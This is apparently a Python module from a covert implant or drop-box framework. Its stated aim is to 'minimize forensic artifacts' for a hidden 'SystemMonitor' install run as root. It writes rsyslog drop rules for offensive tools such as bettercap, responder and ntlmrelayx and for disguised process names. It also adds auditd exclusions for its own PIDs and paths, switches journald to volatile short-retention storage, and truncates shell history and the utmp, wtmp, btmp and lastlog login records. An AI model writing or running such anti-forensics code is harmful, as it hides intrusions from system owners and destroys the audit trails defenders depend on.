#!/usr/bin/env python3
"""Log suppression module — minimize forensic artifacts in system logs.

Installs rsyslog filter rules, auditd exclusions, journald rate limits,
and clears shell history / login records related to SystemMonitor activity.
All installed rules are removed on clean stop.
"""

import logging
import os
import subprocess
import time
from pathlib import Path
from typing import Dict, List

from modules.base import BaseModule

logger = logging.getLogger(__name__)

RSYSLOG_CONF = "/etc/rsyslog.d/01-bb-suppress.conf"
JOURNALD_CONF_DIR = "/etc/systemd/journald.conf.d"
JOURNALD_CONF = os.path.join(JOURNALD_CONF_DIR, "sensor.conf")
AUDITD_RULES_FILE = "/etc/audit/rules.d/bb-exclude.rules"


class LogSuppression(BaseModule):
    """Suppress system log entries that could reveal SystemMonitor activity."""

    name = "log_suppression"
    module_type = "stealth"
    priority = -300
    requires_root = True

    def __init__(self, bus, state, config, engine=None):
        super().__init__(bus, state, config, engine)
        self._installed: Dict[str, bool] = {
            "rsyslog": False,
            "auditd": False,
            "journald": False,
            "history": False,
            "utmp": False,
        }
        self._process_names: List[str] = []

    # ------------------------------------------------------------------
    # BaseModule interface
    # ------------------------------------------------------------------

    def start(self) -> None:
        if self._running:
            return

        # Gather process names to suppress from stealth.yaml config
        stealth_cfg = self.config.get("stealth_yaml", {})
        name_map = stealth_cfg.get("process_names", {})
        # Suppress both the real names and the fake names
        self._process_names = list(set(list(name_map.keys()) + list(name_map.values())))
        if not self._process_names:
            self._process_names = [
                "python3", "bettercap", "tcpdump", "responder", "mitmproxy",
                "ntlmrelayx", "hostapd", "dnsmasq",
                "systemd-thermald", "networkd-dispatcher", "systemd-netlogd",
                "systemd-resolved", "systemd-networkd", "systemd-logind",
                "wpa_supplicant",
            ]

        # Also suppress paths
        install_path = self.config.get("device", {}).get("install_path", "/opt/.cache/bb")
        self._suppressed_paths = [install_path, "/opt/.cache/bb", "/tmp/bb-"]

        suppression_cfg = stealth_cfg.get("log_suppression", {})

        # Install rsyslog filter
        if suppression_cfg.get("rsyslog_filter", True):
            self._install_rsyslog_filter()

        # Install auditd exclusions
        if suppression_cfg.get("auditd_exclusion", True):
            self._install_auditd_exclusions()

        # Configure journald rate limits
        if suppression_cfg.get("journald_rate_limit", True):
            self._install_journald_config()

        # Clear shell history
        self._clear_history()

        # Clear utmp/wtmp/btmp entries
        self._clear_login_records()

        self._running = True
        self._pid = os.getpid()
        self._start_time = time.time()
        self.state.set_module_status(self.name, "running", pid=os.getpid())

        active = [k for k, v in self._installed.items() if v]
        logger.info("LogSuppression active — methods: %s", ", ".join(active))

    def stop(self) -> None:
        if not self._running:
            return

        # Remove installed filter rules (clean exit)
        self._remove_rsyslog_filter()
        self._remove_auditd_exclusions()
        self._remove_journald_config()

        self._running = False
        self.state.set_module_status(self.name, "stopped")
        logger.info("LogSuppression stopped — all filter rules removed")

    def status(self) -> dict:
        return {
            "running": self._running,
            "pid": self._pid,
            "uptime": time.time() - self._start_time if self._start_time else 0,
            "suppression_methods": dict(self._installed),
            "suppressed_process_count": len(self._process_names),
        }

    def configure(self, config: dict) -> None:
        self.config.update(config)

    # ------------------------------------------------------------------
    # rsyslog filter
    # ------------------------------------------------------------------

    def _install_rsyslog_filter(self) -> None:
        """Write rsyslog config to drop log entries matching our processes/paths."""
        try:
            lines = [
                "# SystemMonitor log suppression — auto-generated, removed on clean exit",
                "# Drop messages containing our process names or paths",
            ]

            for name in self._process_names:
                # Property-based rsyslog filter: discard matching programname
                lines.append(f':programname, isequal, "{name}" stop')

            for path in self._suppressed_paths:
                # Drop messages containing our install paths
                lines.append(f':msg, contains, "{path}" stop')

            with open(RSYSLOG_CONF, "w") as f:
                f.write("\n".join(lines) + "\n")

            # Restart rsyslog to apply
            subprocess.run(
                ["systemctl", "restart", "rsyslog"],
                capture_output=True, timeout=10,
            )
            self._installed["rsyslog"] = True
            logger.debug("rsyslog filter installed at %s", RSYSLOG_CONF)
        except (IOError, PermissionError, subprocess.SubprocessError) as exc:
            logger.warning("Failed to install rsyslog filter: %s", exc)

    def _remove_rsyslog_filter(self) -> None:
        """Remove rsyslog filter config."""
        try:
            if os.path.isfile(RSYSLOG_CONF):
                os.unlink(RSYSLOG_CONF)
                subprocess.run(
                    ["systemctl", "restart", "rsyslog"],
                    capture_output=True, timeout=10,
                )
                self._installed["rsyslog"] = False
                logger.debug("rsyslog filter removed")
        except (IOError, PermissionError, subprocess.SubprocessError):
            pass

    # ------------------------------------------------------------------
    # auditd exclusions
    # ------------------------------------------------------------------

    def _install_auditd_exclusions(self) -> None:
        """Write auditd rules excluding SystemMonitor PIDs and paths."""
        try:
            rules_dir = os.path.dirname(AUDITD_RULES_FILE)
            if not os.path.isdir(rules_dir):
                logger.debug("auditd rules directory not found — skipping")
                return

            lines = [
                "# SystemMonitor auditd exclusions — auto-generated",
            ]

            # Exclude our install path from file watches
            for path in self._suppressed_paths:
                lines.append(f"-a never,exclude -F dir={path}")

            # Exclude our process names from execve auditing
            for name in self._process_names:
                lines.append(f"-a never,exclude -F exe=/usr/bin/{name}")

            # Exclude current PID and parent
            lines.append(f"-a never,exclude -F pid={os.getpid()}")
            ppid = os.getppid()
            if ppid > 1:
                lines.append(f"-a never,exclude -F pid={ppid}")

            with open(AUDITD_RULES_FILE, "w") as f:
                f.write("\n".join(lines) + "\n")

            # Reload auditd rules
            subprocess.run(
                ["augenrules", "--load"],
                capture_output=True, timeout=10,
            )
            self._installed["auditd"] = True
            logger.debug("auditd exclusions installed at %s", AUDITD_RULES_FILE)
        except (IOError, PermissionError, subprocess.SubprocessError) as exc:
            logger.warning("Failed to install auditd exclusions: %s", exc)

    def _remove_auditd_exclusions(self) -> None:
        """Remove auditd exclusion rules."""
        try:
            if os.path.isfile(AUDITD_RULES_FILE):
                os.unlink(AUDITD_RULES_FILE)
                subprocess.run(
                    ["augenrules", "--load"],
                    capture_output=True, timeout=10,
                )
                self._installed["auditd"] = False
                logger.debug("auditd exclusions removed")
        except (IOError, PermissionError, subprocess.SubprocessError):
            pass

    # ------------------------------------------------------------------
    # journald rate limits
    # ------------------------------------------------------------------

    def _install_journald_config(self) -> None:
        """Set journald rate limits to suppress burst logging."""
        try:
            os.makedirs(JOURNALD_CONF_DIR, exist_ok=True)

            config_lines = [
                "# SystemMonitor journald rate-limit — auto-generated",
                "[Journal]",
                "RateLimitIntervalSec=5s",
                "RateLimitBurst=5",
                "MaxRetentionSec=1day",
                "MaxFileSec=1day",
                "Compress=yes",
                "Storage=volatile",
            ]

            with open(JOURNALD_CONF, "w") as f:
                f.write("\n".join(config_lines) + "\n")

            # Restart journald to apply
            subprocess.run(
                ["systemctl", "restart", "systemd-journald"],
                capture_output=True, timeout=10,
            )
            self._installed["journald"] = True
            logger.debug("journald config installed at %s", JOURNALD_CONF)
        except (IOError, PermissionError, subprocess.SubprocessError) as exc:
            logger.warning("Failed to install journald config: %s", exc)

    def _remove_journald_config(self) -> None:
        """Remove journald config override."""
        try:
            if os.path.isfile(JOURNALD_CONF):
                os.unlink(JOURNALD_CONF)
                subprocess.run(
                    ["systemctl", "restart", "systemd-journald"],
                    capture_output=True, timeout=10,
                )
                self._installed["journald"] = False
                logger.debug("journald config removed")
        except (IOError, PermissionError, subprocess.SubprocessError):
            pass

    # ------------------------------------------------------------------
    # Shell history
    # ------------------------------------------------------------------

    def _clear_history(self) -> None:
        """Clear bash history and prevent future recording."""
        try:
            os.environ["HISTFILE"] = "/dev/null"
            os.environ["HISTSIZE"] = "0"
            os.environ["HISTFILESIZE"] = "0"

            # Clear existing history files
            history_files = [
                os.path.expanduser("~/.bash_history"),
                "/root/.bash_history",
                os.path.expanduser("~/.zsh_history"),
                "/root/.zsh_history",
            ]
            for hf in history_files:
                try:
                    if os.path.isfile(hf):
                        with open(hf, "w") as f:
                            f.truncate(0)
                except (IOError, PermissionError):
                    pass

            self._installed["history"] = True
            logger.debug("Shell history cleared and disabled")
        except Exception as exc:
            logger.warning("Failed to clear history: %s", exc)

    # ------------------------------------------------------------------
    # Login records (utmp/wtmp/btmp)
    # ------------------------------------------------------------------

    def _clear_login_records(self) -> None:
        """Clear utmp/wtmp/btmp entries that could reveal SystemMonitor sessions."""
        record_files = [
            "/var/run/utmp",
            "/var/log/wtmp",
            "/var/log/btmp",
            "/var/log/lastlog",
        ]
        cleared = False
        for rf in record_files:
            try:
                if os.path.isfile(rf):
                    # Truncate rather than delete to preserve file ownership/perms
                    with open(rf, "r+b") as f:
                        f.truncate(0)
                    cleared = True
            except (IOError, PermissionError):
                pass

        if cleared:
            self._installed["utmp"] = True
            logger.debug("Login records cleared (utmp/wtmp/btmp)")
